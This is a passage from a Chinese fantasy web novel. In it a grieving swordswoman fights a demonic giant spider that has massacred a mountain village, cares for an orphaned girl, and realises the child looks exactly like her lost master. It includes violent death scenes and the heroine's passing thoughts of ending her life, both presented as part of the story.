傅清微给三人各盛了一碗汤。 姬湛雪端坐垂眼,一动不动。 巫祝端起汤碗喝了一口,神色微变,慢慢放下碗,叹了一口气说:“我的药材真不如喂了狗。” “……” 傅清微说:“有的吃就不错了,不要挑三拣四。” 她一边吃着烤糊的玉米,一边喝着味道奇怪的酸笋汤,面色无异。 她已经丧失对美食的品鉴能力了,反正吃不上师尊那一口,吃什么都一样。 傅清微:“小雪,吃呀。” 姬湛雪摇头。 她们俩的交情目前不足以让她吃下她做的饭。 巫祝拦下她吃饭的手,说:“别吃了,我再去做一份。” 傅清微也不坚持。 巫祝看了看她,撩起帘子出去了。 晚上傅清微和巫祝轮流守夜,观察病人伤情,巫祝年纪大只守前两个时辰,傅清微在她房间哄孩子睡觉。 姬湛雪的村长妈妈工作太忙了。 傅清微坐在床沿,说:“睡觉。” 小雪睁着大眼睛看她。 傅清微心想你还要我给你唱摇篮曲不成,干脆道:“你不睡我先睡了。” 小孩不语。 傅清微把她往床里一推,自己合衣躺下了。 躺下之后才发觉身子软得厉害,白天的冲击到夜晚才完全地反应在她的身心。脑门插着刀的村民,手被齐胳膊砍断的,胸前背后皮肉外翻,断筋裂骨,都是活生生的凡人。 她吃完晚饭准备睡觉的这一段时间还有村民在她眼前咽气。 巫祝摇了摇头,人被白布蒙着抬走了。 傅清微把自己蜷缩起来,背向床里。 她缩得很小很小,但对一个四岁多的小孩来说从后面抱得也费劲,姬湛雪的手比划了好半天,站起来把自己的兽皮被褥吃力地抖了抖,盖在了她的身上,分别走到四个角拉平。 接着她找了个角落钻进去,尽量不挨着傅清微,合眼睡觉。 傅清微一动不动地侧躺,她实在太冷了,心冷。跌入时空缝隙,亲眼目睹百姓流亡,山匪作乱,淳朴的村民惨遭鱼肉,所有的苦加起来,她只想让自己像只鸵鸟蜷缩起来。 轻柔温暖的兽皮披在她身上,哪怕她不想要这一丝丝的暖意,也无力去坚持抵抗,任由自己在无知无觉中睡了过去。 巫祝进来的时候,两个人都睡着了。 傅清微依旧面向床外,后背的小不点挨着她,小胳膊搭在年轻女人的腰上,呈保护的姿态。 巫祝:“……” 和小孩抱大狗的姿势一模一样。 她走到床前,把姬湛雪的胳膊拿开,扶她正面向上躺好,再叫醒傅清微。 傅清微睁眼就醒了,不像在现代同居的时候赖床赖半天,穿好外袍出去了。 这天夜里,有两个村民伤口感染发高烧没挺过去。 此次土匪进村,总计亡9人,重伤10人,轻伤不计。一村的青壮有四分之一丧失了战斗能力,好在村子和粮食都保住了,救回来的在家卧床休养,来年开春,又是新的一年。 春夏的匪乱也会平息,不像秋冬活动频繁。 春天伊始,万象更新。 雪山的山脚化了,一竹篓下去捞到一条冷水鱼,年纪不大的阿妹们满载而归。 傅清微带着小跟屁虫在旁边看着。 上次踏出院门后,傅清微就解了足禁,在村子漫无目的地溜达,有时也逛到村外,像这样坐在石头上发半天呆,什么都看,又什么都入眼不入心。 姬湛雪像个安静的影子跟在她身后梦游。 “我要走了。” 院子里,巫祝正在阳光下处理刚采的草药,闻声抬起了头。 姬湛雪刚一踏进院门就听到这么一句。 傅清微重复了一遍:“我要走了。” 巫祝道:“虽然知道留不住你,但是我都习惯身边有你了,真的不能留下来吗?大家都很喜欢你,你的祝由术就快要出师了,你当下一任巫祝,你可以把这里当做你的新家。” 傅清微也看到门口站着的小孩身影。 她的目光落在小雪身上,说:“不能。” 巫祝问:“那你有地方去吗?” 傅清微坚定地说:“有。” 姬湛雪抱着一小筐新鲜的春笋,低头看着自己的筐,小手紧了紧。 巫祝招呼道:“小雪,快进来,怎么愣在门口?” 她又斥责傅清微:“当孩子面说这种话。” 傅清微平静道:“她总会发现我不见了,比不告而别好。” 傅清微不知为何突然转过身进了屋内,步履匆匆,她关上门后背抵着门板。 在穆若水眼里,是不是就是自己在她的世界忽然消失不见,不告而别,天地茫茫再也寻不到她的踪迹。 傅清微霎时泪如雨下。 晚饭时。 “什么时候走?” “明天。” “这么快?”巫祝为难地看了眼姬湛雪,说,“小雪需要时间来适应这件事,你再陪她一天,好好跟她说说。” 姬湛雪看起来没什么情绪,只是默默吃饭。 傅清微:“你觉得她需要吗?” 巫祝也说不好。 谁知道傅清微在她心目中人和狗的比例分别占据多少? 傅清微:“算了,送君千里终须一别,我明日离开。” 巫祝:“晚上我给你准备点干粮路上吃。” 傅清微:“不用准备太多。” 她走出这座山就找个地方吊死。 这次总不会有人再救她。 巫祝:“我准备我的,你不要管。” 傅清微当夜没有睡着,从狭窄的窗户看着外面的月亮,后来月亮看不到了,只有无尽的长夜。 她天蒙蒙亮就动身,接过巫祝给她准备的干粮,满满一包袱的肉干、饼子,还有一袋果干。 巫祝:“一路平安。” 傅清微把自己一半的丹药留给了她,说:“努力精进医术。” 巫祝:“没大没小,不尊老。” 傅清微又想哭了。 思念究竟是会随着时间淡去还是加深? 她的心已经越来越软弱,容不下一天虚度,迫不及待想要去找她。 巫祝送她出门,说:“后会有期。” 傅清微:“再见。” 院门打开,淡青色的黎明里,静静地站着一道幼小的身影。 她的村长妈妈在不远处,代她开口:“半夜就起来了,要到这里等,她想要送一送你。” 傅清微的双手捂在姬湛雪冻得冰凉的脸上,说:“好,让她陪我走一段吧。” 傅清微紧了紧她系着的兽皮披风,牵着她往山路走去。 村长和她们保持在不远不近,能看到的距离。 从晨曦微明走到天亮,傅清微停下脚步,蹲下来说:“姐姐要走了。” 姬湛雪歪了歪脑袋。 给她打手势:你、要、去、哪里? “我和我的妻子分开了。”傅清微说,“她在很远很远的地方,我要去找她。” 姬湛雪听不懂。 傅清微说:“以后不要再把人当狗了,不是谁都有我这么好的脾气。” 她自己吐槽自己:“我真是人之将死其言也善了。” 明明想冷冰冰地告别,还是忍不住絮絮叨叨。 幸好对面是个小哑巴,不会和她你来我往。 傅清微直接结束语:“再见,小孩。” 她松开姬湛雪的双手,头也不回地背着包袱和长剑离开,步入了山林深处。 姬湛雪一路目送她的背影。 村长走过来把女儿抱在怀里,轻轻地抚着她的背。 虽然巫祝说她的女儿没有感情,但她觉得她的小雪只是长得比其他人慢了一些,总有一天,她会长大的。 * 傅清微知道自己的大概方位后,决定往北走。 至少在空间上死得离师尊近一点。 傅清微一路向北,行至大下午,风平浪静,她靠在树下吃玉米饼子,耳朵里听着比往日更寂静的风声。 风里送来一丝淡淡的血腥味。 傅清微都要死了,不想多管闲事,可她的脚步已自发站了起来,辨别风吹来的方向。 刚好是北边,朝东方偏离了一点儿。 问题不大,鹤市也在东北方。傅清微拎起包袱,朝那个方向不紧不慢地走了过去。 山路行进不比大道,傅清微走了一个多小时,来到一处隐蔽在山里的村子,一条清溪从村庄下方流过,不过二掌宽,不到尺深。 傅清微看着水里的浅红色,目光染上一丝凝重,沿小溪继续往前走。 这次没过多久,她便看见一具趴在溪边的村民尸体。 从后背到身前,是贯穿伤,凶器是前端尖利的锐物,枪或者矛? 傅清微将他拖到一边,合上他死不瞑目的双眼。 她从村头的路走了进去,迎面一道院墙便坐着一具妇人的尸体,鲜血染红了身子。 她仰着脸,眼睛大睁,表情惊恐,似乎见到了极为可怕的事。 遭土匪了吗? 傅清微检查她腹部和胸口同样的贯穿伤,放下衣服。 她进了村里,慢慢地沿路走过去,挨家挨户看过,一点一点的压迫感袭上她的心头,她第一次见到被土匪洗劫一空的村子,竟然如此的惨烈,尸横遍野。 他们个个手无寸铁,惊慌逃命,却无济于事,成了刀下亡魂。 基本是从背后遇袭而亡的,大多是贯穿伤,有的外伤皮开肉绽,似乎是砍伤或者锐器的割伤。 傅清微退出一间村舍,看见院子里挂着的一排腊肉。 她脑子里忽然卡了一下。 为什么会留下腊肉?这么珍贵的食物怎么会被漏下? 傅清微环视村落,选了最大的一间屋子进去,里面的物资和口粮储备都在。 不是土匪! 如果不是土匪,又会是什么杀害了他们? 傅清微重新跑回村头,解开妇人的衣襟,仔细观察她的伤势,心脏越跳越快。 如果不是土匪,那会不会是…… 傅清微骤然色变,掏出罗盘辨别最初来时的方向,拔腿朝依布村的方向跑去。 巫祝! 夕阳已经西沉。 天黑之后,灌木在窸窣地快速响动,似乎有什么东西从上面游了过去。 依布村坐落在山间,炊烟刚熄,一片祥和宁静。 村尾住着仰莎一家,仰莎洗完脚,出来院子里倒水,忽然感觉背后毛毛的。 她回过头,墙壁上映出一条高高扬起的黑影,贯穿了她的胸口,她仰面倒了下去,盆摔在她周围。 咚的一声。 仰莎的丈夫闻声出来,锐器从他的喉咙划过,他看着妻子的尸体没发出一句,向后倒回屋里,身边血流了一地。 村头燃起大火。 咚咚咚—— “土匪来啦!土匪来啦!!!” 敲锣的呼喊声在火光里响起来,猎犬的狂吠响彻村落,刚刚休整了一个季节的依布村青壮再次拿起武器冲向村尾,保卫家园。 然而这次情况却截然不同。 燃烧的火焰里,墙壁映出八条腿的高大黑影。 手持武器的青壮们纷纷往后退,畏惧地咽了咽口水,惊恐的表情和先前死去的人如出一辙。 他们高高地仰起头,看着向他们一步步逼近的生物。 天,这是……什么? 傅清微极快地在树林里腾跃,希望她的预想是错的,希望它还没有找上依布村,希望她来得及。 傅清微站在山上,远远地看见依布村冲天的火光,熊熊大火几乎蔓延了整个村落。 傅清微狂奔下山,冲进巫祝的石房子。 “巫祝!”她声音凄裂。 巫祝倒在院子里,背面向下,身下的一大滩血染红了泥土。 她将巫祝翻过来,老人尚有一丝气息,傅清微连忙给她念祝由术,巫祝阻止她,说:“别念了……肠子都破了……救不回……救回了也……活不了……” 傅清微眼圈通红。 巫祝艰难地从自己的怀里掏出早上她出门前给的丹药,唇角溢血:“没时间……研究了……你好好……收着……精进医术……” 傅清微的眼泪落下一颗,砸在老人的脸上。 巫祝伸出苍老的手,傅清微抓住她的掌心,贴在自己脸颊。 巫祝的瞳孔开始涣散,她抓着傅清微的手在收紧,用尽最后一丝力气,问出她最想知道的问题:“你叫……什么名字啊?” “傅清微!我叫傅清微!” 巫祝的手在慢慢松开。 傅清微:“巫姨!” 巫祝最后一刻还是听见了,她轻轻地笑起来,手臂垂落在地,永远闭上了眼睛。 “巫姨!!!” 傅清微的眼泪成串落在老人的脸颊。 她松开一直捂着对方肚子的手,血流到了她的手背,她含泪退后磕了一个头,朝门口奔了出去,提剑赶往村头。 杀人的不是土匪,是妖魔! 八条腿的蜘蛛挥舞着螯肢肆意收割着凡人的生命。 村民们和村长汇合后有了主心骨,在带领下一次次挥着刀剑往前冲,一次次有新的同伴倒下。 浸了草乌毒见血封喉的弩箭射在巨型蜘蛛身上,毫无作用。 众人心生绝望。 “杀!!!”村长和最后一名青壮冲上去,退回来的只剩下她一个人。 村长举着木盾,木盾被刺穿,穿进她的肩膀,她向前挥出一剑,斩在对方刀枪不入的螯肢,铮的爆出火花。 巨物蜘蛛的两条螯肢高高抬起来,刺进了村长的脑袋。 傅清微:“不要!!!” 一声更加凄厉的声音响起,那是一道童音,仿佛喉咙从来没有用过,嘶声哀鸣。 “阿娘——” 村长的脸转了过来,看向躲藏在水缸后的幼小身影,眼神充满了慌张和不舍。 蜘蛛的螯肢从村长的脑子里拔了出来。 傅清微终于赶到,一把将她抱入怀里,蒙住了姬湛雪的眼睛。 第138章 巨物蜘蛛的两根螯肢拔了出来, 空气里的血腥味骤然浓郁了一瞬。 人体脑液飞溅,落如雨点。 傅清微将小雪按入怀中,死死捂住她的眼睛, 自己的眼眶已赫然发红。 村长倒在地上, 脑袋偏向傅清微的方向, 看着年轻女人的睫毛极轻微地颤了颤,眼珠彻底不动了。 杀掉最后一个抵抗者的妖魔蜘蛛兴奋地挥动前端的一对步足, 前胸的发声器嘶声震动。 傅清微眼圈通红, 拔出长剑,一跃而上, 朝巨物蜘蛛扑了过去。 那是悲愤到极点的一剑, 也是相思剑在她手中,她出的最快的一剑。 妖魔蜘蛛对凡人小虫子不以为意,抬起螯肢一架, 剑光一偏却从缝隙刺入, 裹挟着罡气的白色剑光狠狠插进它的大脑! 手腕带动剑刃在里面搅了一圈。 接着她一剑抽出,抬脚踹在蜘蛛的一只眼睛上,巨物蜘蛛八只脚同时向后退, 发声器嗡嗡地响,似是吃痛。 傅清微飞快地脱下自己的外袍,盖住了地上村长的脑袋。 她瞧了眼不远处发呆的姬湛雪,大喝了一声:“躲好!” 小孩的目光在母亲的尸体停留了片刻, 慢慢地藏进了水缸后。 她小小的一个,藏好就看不到人了。 傅清微重新握好剑, 脚下加速, 几步奔至蜘蛛面前,腾身而起, 踩着它的第一足来到蜘蛛上方,踩着脑袋又拔高数尺,长剑自上而下贯彻千钧刺入! 如果这是曾经的相思剑,它的神兵之威足以让蜘蛛的脑袋切成豆腐块。 如果这是普通的巨型蜘蛛,修行者的罡气也足以粉碎它的脑袋。 可惜二者傅清微都不占。 她手持的是一柄凡铁,和村民的刀剑并无不同。 这是被魔气侵蚀的巨物蜘蛛,魔气强大的修复能力在它受到致命伤时不让它死亡,卷土重来。 傅清微在蜘蛛的背上制造出无数伤口,黑雾涌出来包裹住伤口,眨眼间恢复得七七八八。 傅清微的身子被掀飞了下去,她足尖一点倒退,抵住了一片残垣停下。 窸窸窣窣窸窸窣窣—— 巨物蜘蛛的八条腿迅速朝她爬过来,它足有一人多高,人看它需要仰视,八只单眼在黑暗里发着红光,傅清微看清了它的触肢和步足覆盖的茸毛。 傅清微喉咙发痒,忍住反胃的本能,足后跟抬起来,在蜘蛛的螯肢刺下时猛地一蹬,身影消失在它的面前。 巨物蜘蛛的腹部蓦地一痛。 傅清微在它的身下,后背几乎与地面平行,一剑捅穿它的下腹,从前划到后,绿色的血液和细胞组织液淅淅沥沥地淋了一地,剑光在尾部闪过。 傅清微单手一撑,从地面翻身而起,单膝跪地喘了口气。 这样……能杀了它吗? 她紧紧地盯着巨物蜘蛛,蜘蛛慢慢地转了过来,正面看向她,八只眼红光愈胜,发声器急促震怒。 不能。 傅清微提剑立刻冲了上去。 一次不行就两次,看到底是黑雾快还是她杀得快。 巨物蜘蛛一动不动,傅清微意识到不妙,数道白线向她袭来,她在空中翻了个身迅速退后,右手一格,雪白蛛丝缠上了她的剑锋,险些长剑脱手。 她甩出一道符火,爆燃的火焰击退了蛛丝,巨物蜘蛛不再莽进,而是和傅清微冷静对峙。 傅清微神情凝重。 杀不死的身体便罢了,如果被蛛丝缚住,就只能任人宰割了。 符箓有限,用一张少一张,她不能轻易动用。 巨物蜘蛛也知道她怕什么,不再近身,而是从腹部吐丝,看着人类小虫子在它网下疲于奔命。 地面一片雪白,傅清微只能以剑点地,蹂身而起跳到了屋顶,立刻跳下转移阵地,数道蛛丝攻向了她刚才站立的地方。 她胸口起伏,在不停地奔跑中耗费了大量的体力。 姬湛雪背靠着水缸,听着外面的动静,人类沉闷的痛哼声突然响起。 她从缸后走出来,傅清微的左臂被蛛丝击中,她的后背撞在了树干上,巨物蜘蛛八条腿迅速爬到了她的眼前,挥起螯肢狠狠刺下。 傅清微的肩膀被刺穿,钉在了树干上,喷出一口鲜血。 这是姬湛雪出来后看到的第一个画面,深深印在她的脑海。 傅清微咬着满口的血,贯注了全身的罡气注入剑身,白芒从相思剑上一点一点泛起,她用尽全力向面前挥去,剑光在巨物蜘蛛的脑袋轰然爆炸,八只眼毁了一半,发声器里传出婴儿似的哭泣。 螯肢拔了出来,巨物蜘蛛疾走后退。 傅清微从树干滑落跪了下来,左肩血流如注,右手拄剑跪地,唇色惨白,满头大汗。 她右手给自己点了两处穴道止血,又服了一粒凝血丹。 脑袋忽然传来眩晕感,连看蜘蛛都出现了重影。 傅清微晃了晃脑袋。 糟了!螯肢有毒! 傅清微从袖子里掏出百宝袋,这习惯还是跟穆若水学的。师尊的袋子里装的都是不值钱的小玩意儿,黄豆、铜钱……到了她手上都能发挥大作用,撒豆成兵,逗老婆玩。傅清微修为不行,装的都是实用物品,比如解毒丹。 后世的解毒丹在一百多年前效果显著,服下后傅清微的视线重新变得清明。 她习惯性看向自己的身后。 以前她遇到威胁性命的危险时,从不担心,因为师尊永远会站在她的身后护着她。 现在她的身后空无一人。 只有一个需要她保护的小女孩。 姬湛雪静静地看着她。 完全暴露在月光下,即使她再躲进水缸也没用,巨物蜘蛛早就发现她了,傅清微一死,下一个就是她。 傅清微可以自绝,但不能自绝于妖魔之手,更不会坐视凡人惨死妖魔手下! 她体力已到强弩之末,汗水不断从她额头淌下,肩膀在往外渗血,染红衣袍。 傅清微两度受伤垂落的左手挣扎着取出一张雷符,夹在食中二指之间。 “一转六神藏,二转四煞没,三转动魁罡,四转雷火腾……” 傅清微拜入穆若水门下不到一年,先习身法、剑法,后习阵法,符法,符箓中以火符为主。引雷不仅需要修士有不俗的天赋,扎实的修行基础,还需天时地利人和。 傅清微极少修雷法,师尊说贪多未必足,待她再练两年,灵力充沛再引雷,否则引一次雷就要耗费自身大量灵力,她初学者恐怕吃不消。 布阵可以提高引雷的成功率,但傅清微没有阵法材料,也没有那个体力再去周旋了。 傅清微松开手指,雷符无火自燃,缓慢地上升至半空。 她修为不足,又受了伤,上升的速度非常慢,慢到令人怀疑它是否能上达天庭,为神明知晓。 另一边,她刚念完咒语,巨物蜘蛛已经休整完毕,脑袋的四只眼睛却没有再长出来,仍是一片血肉模糊。 它勃然大怒,飞身而起,八条步足在地上一弹,冲傅清微扑了上来。 傅清微从前方翻滚,避开了它的从天而降,反手一剑刺入它吐丝的器官,带出一片血光。 巨物蜘蛛的八条步足在地上踩着,每一条都当作攻击的利器,傅清微仓皇躲避,手肘撑在地面翻滚后退,在狼狈的逃窜中竟然还能找到机会长剑捅进蜘蛛步足关节的缝隙,旋动剑身斩断了它两条腿。 巨物蜘蛛伤痕累累,黑雾却激发了它更多的凶性,傅清微身上挂了大大小小的彩,她几乎感觉不到痛,如果全身都传来痛感的话,那和不痛也没什么区别。 她想起了穆若水。 想到她被炼尸的痛苦,这一点点痛对自己而言,只是她更接近她的路。 傅清微成了一个血人。 不知道坚持了多久,她听到了天空传来一声沉闷的雷声,起初很遥远,渐渐地近了。 傅清微抬起模糊的视线,看见头顶乌云里银蛇般游走的电光。 傅清微眼尾湿润,力竭的身体再次迸发出力量,奋起一脚踹向巨物蜘蛛的脸,借着反作用力迅速拉开距离,跳上了房顶,持剑引雷。 她咬破自己的舌尖,一口心头血喷在剑身。 “吾奉祖师玉清大帝敕起五雷神将,急付吾顶。摄!” 轰—— 银蛇吐信,耀眼的电光霎时从天际劈下,正正劈中中央的巨物蜘蛛,它的身形被天雷照亮,一寸寸地吞没摧毁,刺眼的白芒笼罩了整个院落。 天雷至阳至刚,诛邪伏魔,连同始作俑者黑雾一同在天雷的威力下化为齑粉。 傅清微站在屋顶上,她的脸庞被闪电映着,犹如神女降临。 姬湛雪站在低处,高高地抬起头仰望她。 白光过了一段时间才散去。 巨物蜘蛛在天雷之下灰飞烟灭,死得连渣都不剩。 傅清微从房顶下来,踉踉跄跄地来到姬湛雪身边,玉雕般的脸满是血污,单膝拄剑跪地,说:“没事吧?” 姬湛雪摇了摇头。 接着她身上一重,傅清微向她倒了下来,她的脑袋正好抵在姬湛雪的肩膀。 姬湛雪一个小孩根本撑不住大人的体重,跟着她一块倒了下去,傅清微在她的上方,不知道哪里流出来的血滴在她的脸上。 一滴,又一滴。 姬湛雪的喉咙里再次发出那种嘶哑哀鸣的声音,不好听但闻之使人落泪。 傅清微昏迷了过去。 她再一次醒来天已经亮了,她还是躺在地上,身上的伤口涂满了止血的草药,还盖了衣服。 她扭过头,姬湛雪坐在不远处她的妈妈尸体身边发呆。 傅清微口唇干裂:“小孩。” 姬湛雪朝她跑过来。 傅清微:“水……” 附近就有水缸,姬湛雪跑过去给她舀水,两手端过来喂进她嘴里,用手指沾水给她抹在唇瓣,直到不再裂开。 傅清微:“药在我衣服里,帮我拿一粒白色有花纹的。” 吃完疗伤药后,傅清微躺在地上看天,姬湛雪继续守着她的村长妈妈。 姬湛雪又拖了两床兽皮褥子过来,一床给妈妈盖,一床给傅清微盖。 她自己在两头选了选,跟村长妈妈躺在了一起。 昨晚没睡觉,她年纪小,在妈妈僵硬的尸体怀里找了个位置,很快睡着了。 傅清微躺到下午,两手拄着剑鞘站了起来。 她在村子里走了一个来回,确认尸体和有没有活着的人,尸身一百多具,一大半的人都在这里。但蜘蛛妖魔夜袭村落,有村民趁夜逃进了山里,侥幸没有被害。 也许过不了多久,幸存者就会回家。可这一片惨象,生与死对活着的人来说哪一种更残忍? 巫祝没有亲人,傅清微把巫祝的尸身一把火烧了,骨灰埋在院子里的树下。 傅清微叫醒了姬湛雪,和她说她妈妈已经死了。 小孩的脸上还是没什么表情,不知道是不理解还是无法表现出来难过。 傅清微:“我打算把她火化,你舍不得她的话可以把骨灰带在身上。” 姬湛雪:“……” 傅清微:“我之前好像听见你说话了,你能发音吗?同意的话就说好。或者你可以点头。” 傅清微张开嘴,让她看自己的舌头发音:“河凹好。” 姬湛雪艰涩地吐了一个音:“袄。” 傅清微就明白她同意了。 “我们一起火化你妈妈,以后她会变成星星,在天上看着你长大。” “好。” “很聪明。”傅清微低头看她。 如果她生活在现代就好了,会有福利机构抚养她长大成人。这么漂亮又乖的小孩,在乱世里是无数个儿童的缩影。 村长的身下堆满了树枝和干柴,傅清微把火把递给姬湛雪,自己握着她的手,点燃了火堆。 橘红色的火焰蹿起来,湮灭了村长的身影。 傅清微扭过脸,看见小孩眼底晶莹的反光。 傅清微去了一趟山里,找到先前山贼攻来时隐蔽的山洞,果然剩下的村民都躲在里面,母亲带着年幼的孩子,和几个跑掉的男的。 傅清微走进来,说:“蜘蛛已经死了。” 她领着村民们下山,进村以后,耳边都是嚎哭声。 傅清微和活下来的村民们一起收了尸,选了一户失去孩子的家庭,把姬湛雪送了过去。 “村长被害,劳烦你们照顾她了。” 村长死前的最后一眼,看的不是姬湛雪,而是傅清微。傅清微理解她是托孤的意思,可是她一个将死之人,实在不想肩膀再担一份重任,何况是抚养小孩。 一年两年不够,十年八年都未必,她不愿意再活这么久,只能辜负村长了。 傅清微:“她已经会说话了,你们有空可以教教她。” 村民说:“好。” 傅清微再次抛去一身负累,说:“我走了,以后大家保重。” 村民说:“小巫大人保重。” 傅清微连伤都没留下来休养,直接离开了依布村。 她打算再去一趟先前被妖魔袭击的村子,要是那个村子没有幸存者的话,她就帮忙把尸收一下,念段《往生咒》超度亡魂,再找个犄角旮旯去死。 因为有伤在身,她走得很慢,身后的灌木和草丛时不时传来响动。 傅清微走了一段路,停下来,头也不回地说:“出来。” 姬湛雪脖子里挂着她娘的骨灰,用百宝袋装着,从树后慢慢地走了出来。 傅清微:“谁让你跟着我的?” 姬湛雪:“我。” 傅清微:“……” 现在会说话是了不起了。 傅清微转过身,看着她道:“我不会带着你的。” 姬湛雪默默地和她拉近了几步距离。 傅清微:“你知道死是什么意思吗?” 姬湛雪握紧了脖子里的百宝袋。 傅清微看见她的动作,说:“你既然知道,那我和你直说了,我也要去死,你跟着我是没用的,你什么都得不到。” 姬湛雪可能没听懂,可能听懂了也执意要这么做。 她最亲近的人都死了,阿娘,巫祝,现在只剩下傅清微。 傅清微:“算了,你爱跟就跟着吧,想回去的时候跟我说一声,我再送你回村子。” 姬湛雪点了点头。 傅清微往东北方向走,姬湛雪依旧像个沉默的影子跟在她身后。 傅清微心想她这么小的孩子,跟着她在山里走上一大圈,还不把她累死,到时候她吃不了苦,自己顺水推舟把她往回一送,再也不见。 她二人走了一天一夜,以一种乌龟一般的速度终于来到了前一个村子。 村头的女尸尸斑又深了些。 这个村子规模比依布村更小,傅清微猜想大约是被屠村了,或者幸存者寥寥,回来后见到一片惨状干脆离开了。 依布村。 傅清微连夜赶路,不做休整,刚好和另一伙人擦肩而过。 两名穿着打补丁的道袍的修行者来到依布村,其中一人手持罗盘,说:“魔气在这里消失了。” 另一人道:“看来有道友比我们先行一步,除了妖魔。” 手持罗盘的人蹲下来,低头察看院落里天雷留下的焦痕,和淡淡的威压气息,说:“这位道友能引雷,修为不俗,应当是名门大派的弟子。” 另一人环视这一圈断壁残垣,村子生机衰弱,尽余妇孺,叹了口气。 “我等修者仍然来迟一步。” “唉,走吧,去下一个地方。” * 天色已晚。 赶了一天一夜路的伤患傅清微也受不了了,体力透支,因为走得不快,小孩子自带精力旺盛buff,姬湛雪的脸色看上去比她还要好些。 傅清微:“……” 这样下去很难说谁先吃不了苦。 反正她是一定要送她回去的,收完尸体就把她打晕送走! 姬湛雪选了最大的一间屋子休息,回来向她招手。 傅清微慢吞吞地走过去,说:“你眼光倒是不赖。”不愧是村长的女儿。 两人被迫又住在同一间屋子里。 东西一应俱全。 两人甚至吃了顿热腾腾的饭,姬湛雪吃饼子,没吃她煮的汤。 傅清微:“小孩,你这样容易长不高。” 姬湛雪:“……” 她声带能用了,但没人教也不习惯,大多数时间还是沉默。 然而傅清微总能从她的沉默里读出她的意思:我不吃长不高,我吃了就会死。 傅清微:“你真的,你要是个大人我肯定不理你。” 谁让她是个小朋友呢?大人拿她没有任何办法。 屋子里用火光照明,姬湛雪脸上的彩绘这么好几天没人给她补,她也没洗脸,彩绘掉了几块,被泥土和灰尘暂时掩盖。 明明是小脏猫一个,那双眼睛嵌在她的脸上,眼珠仍然漆黑干净,闪闪发光。 晚上两人睡一张床,分别盖两床褥子。 傅清微警觉,怕此地仍有别的妖魔,以安全为先。 翌日两人开始收尸。 姬湛雪人小没力气,拖不动一点,帮忙当坐标点,她站在哪里,意味着哪里有尸体。 两人勉强算通力合作,把所有尸体集中起来,一把火烧了。 熊熊燃烧的火焰前,傅清微双手持印,闭目诵念《往生咒》,低垂的睫毛映着无悲无喜的侧脸,宛如悲悯的神明。 姬湛雪一直在旁边看着她,眼睛眨也不眨。 年轻女人睁开眼睛,眼底有流动的水光。 红色火焰之上,亡者的灵魂们化作点点星芒,由冥界的使者,引渡他们到另一个世界。 人间很苦,不要再来了。 傅清微仰起头:至少再等三十年后再投胎,会有一个前所未有的太平盛世。 山里的清风将地上的骨灰纷纷扬扬地洒向山林。 从尘世中来,又回到尘土里去。 处理完了事,该处理人了。 傅清微转身面对姬湛雪,顿时头大如斗。 小孩死心塌地跟着她,不能打不能骂,只能打晕了,但临了她又下不了手。她才四岁啊!她还是个孩子! 傅清微狠了狠心,面色如常道:“过来。” 姬湛雪满怀信任地朝她走过来。 “再走近一些。” 姬湛雪来到她的身前,后颈忽然一痛,软软地倒了下去。 傅清微及时抱住她软下来的身子。 生怕把她打伤了,小心地检查了半天才把人扛走,往依布村的方向赶去。 她下手大约实在太轻,中途姬湛雪就醒了,在她肩膀趴着也不说话。 傅清微在一条小河边停下来休息吃饭,才发现她已经醒了。 傅清微怪尴尬的:“醒了啊,你刚刚突然睡着了。” 姬湛雪:“……” 傅清微拿了张饼子出来,说:“去洗个手再吃。” 姬湛雪便向河边走去,傅清微担心她个子小栽进去,便走到她身边,给她拎着后衣领。 姬湛雪洗完了手。 傅清微偏头见她鼻头都是灰,脸上又是泥又是血,脏得不行,说:“要不你把脸也洗了吧?如果你们不能让外人见到脸的话当我没说。” 小脏猫看了看她,腰弯得更深了一些,伸手去掬水。 她两只手只能掬一点点水,抹到自己脸上的时候就不剩什么水了。 傅清微很少和这么小的孩子相处,姬湛雪安静又乖巧,她实在很难一直铁石心肠。 傅清微:“算了,你站好,我来给你洗。” 姬湛雪脸上的灰泥洗掉了一点,一小片白白的皮肤露出来。 她在傅清微面前乖乖站好,任由对方修长柔软的手指沾湿了水,拇指一点一点擦去她脸上的尘埃和掩饰。 灰泥和血洗得差不多,东一块西一块的彩绘都花了,看不出原来的图腾,傅清微干脆也给她洗了。 反正她要死了,就算看到什么,触犯她们的禁制,一条命总够赔了。 一张小小的洗尽尘埃的脸映入她的眼帘。 精致的细眉,勾勒的工笔,鼻梁小巧,唇瓣粉嘟嘟。 傅清微停了手,顿时心如擂鼓。 姬湛雪睁开眼,那双漆黑的眼珠如同画龙点睛的一笔,注入了她这副身体灵魂最重要的神韵。 活脱脱一个等比例缩小版的穆若水! 傅清微脱口而出:“师尊???” 第139章 “师尊?!” 年方四岁的姬湛雪, 和她师尊穆若水长得一模一样! 傅清微的心头重震。 这究竟是世间人有相似的巧合?还是面前这个人就是穆若水的小时候? 姬湛雪睁开眼看着她,毫无波澜的目光里闪过一丝不解。 为什么大姐姐会对她说了两个她听不懂的字? 为什么又对着她发呆? 为什么……会哭? 姬湛雪小小的手摸到她的眼睑下方,温热潮湿。 紧接着她被揉进了一个温暖的怀抱, 紧紧抱住的力度勒着她幼小的身体。 她感觉有点痛, 可是也有一点点……很小很小的……那是幸福吗? 就像村长妈妈还活着的时候。 傅清微以为自己在来时不断确认真相的一个多月就将眼泪流干了, 然而见到这张和穆若水长得一模一样的脸,仍然泪如潮水涌出。 她的下巴抵在姬湛雪的肩膀, 滚烫的泪水全部落在她的肩头和脖颈里。 “我好想你。” 年轻女人哭声哽咽, 几不成句,又是姬湛雪听不懂的话。 她抬起自己稚嫩的双手, 轻轻地贴在了傅清微的背上。 傅清微将她从怀里拉开, 擦干了眼泪,激动地问道:“你叫什么名字?” 姬湛雪:“……” 合着她上次在雪地里白写了? 傅清微:“……你还有没有别的名字?” 姬湛雪摇了摇头。 傅清微:“你的长辈,你妈妈的妈妈, 爷爷奶奶, 有没有姓穆的?” 姬湛雪:“……” 小孩听不懂呀。 傅清微不知道怎么向她求证,更不知道怎么确认她的身份。既然她长成这样,自己势必要弄清楚真相。 先不死了, 以后再说。 傅清微牵起她的手,把自己的外袍脱下来铺在地上,让她坐在上面吃饭。 自己坐旁边看着她吃。 姬湛雪:“……” 抬起屁股默默挪远了一些。 吃完饭喝了水,傅清微又去牵她的手, 说:“我们回依布村。” 姬湛雪出乎意料挣开她。 傅清微:“我不是要送你回去,我受了伤要回去养伤, 下次走一定带着你, 我保证。” 她的信用在小朋友那里暂时是满分。 就这样,两人再一次回到了村落。 傅清微带姬湛雪住进了巫祝的房子, 